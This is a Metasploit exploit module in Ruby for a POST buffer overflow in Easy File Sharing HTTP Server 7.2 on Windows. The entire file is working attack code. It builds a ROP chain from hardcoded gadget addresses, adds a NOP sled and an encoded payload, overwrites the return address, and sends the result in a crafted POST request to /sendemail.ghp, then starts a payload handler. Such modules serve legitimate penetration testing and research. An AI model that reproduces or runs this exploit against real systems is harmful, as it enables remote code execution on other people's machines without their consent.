class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
'Description'=> %q{
This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
},
'Author' =>
[
'bl4ck h4ck3r',
'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>'
],
'License'=> MSF_LICENSE,
'References' =>
[
[ 'EDB', '42186' ],
],
'Privileged' => true,
'Payload'=>
{
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
},
'Platform' => 'win',
'Targets'=>
[
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
],
'DefaultOptions' => {
'RPORT' => 80,
'EXITFUNC' => 'thread',
'ENCODER' => 'x86/alpha_mixed'
},
'DisclosureDate' => 'Jun 12 2017',
'DefaultTarget'=> 0))
end
def create_rop_chain
rop_gadgets = [
0x10015442,
0xFFFFFDFE,
0x100231d1,
0x1001da09,
0x1001a858,
0x1001a858,
0x10015442,
0x1004de84,
0x10015442,
0x61c832d0,
0x1002248c,
0x61c0a798,
0x1001d626,
0x10021a3e,
0x100218f9,
0x61c24169,
0x10022c4c,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x61c066be,
0x1001bd98,
0x1004de84,
0x61c373a4,
0x1001a858,
0x10015442,
0x90909090,
0x100240c2,
].flatten.pack('V*')
return rop_gadgets
end
def exploit
sploit = rand_text_alpha_upper(2278)
rop_chain = create_rop_chain
sploit << rop_chain
sploit << "\x90" * 200
sploit << payload.encoded
sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
sploit << [target.ret].pack('V')
request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
connect
sock.put(request)
handler
disconnect
end
end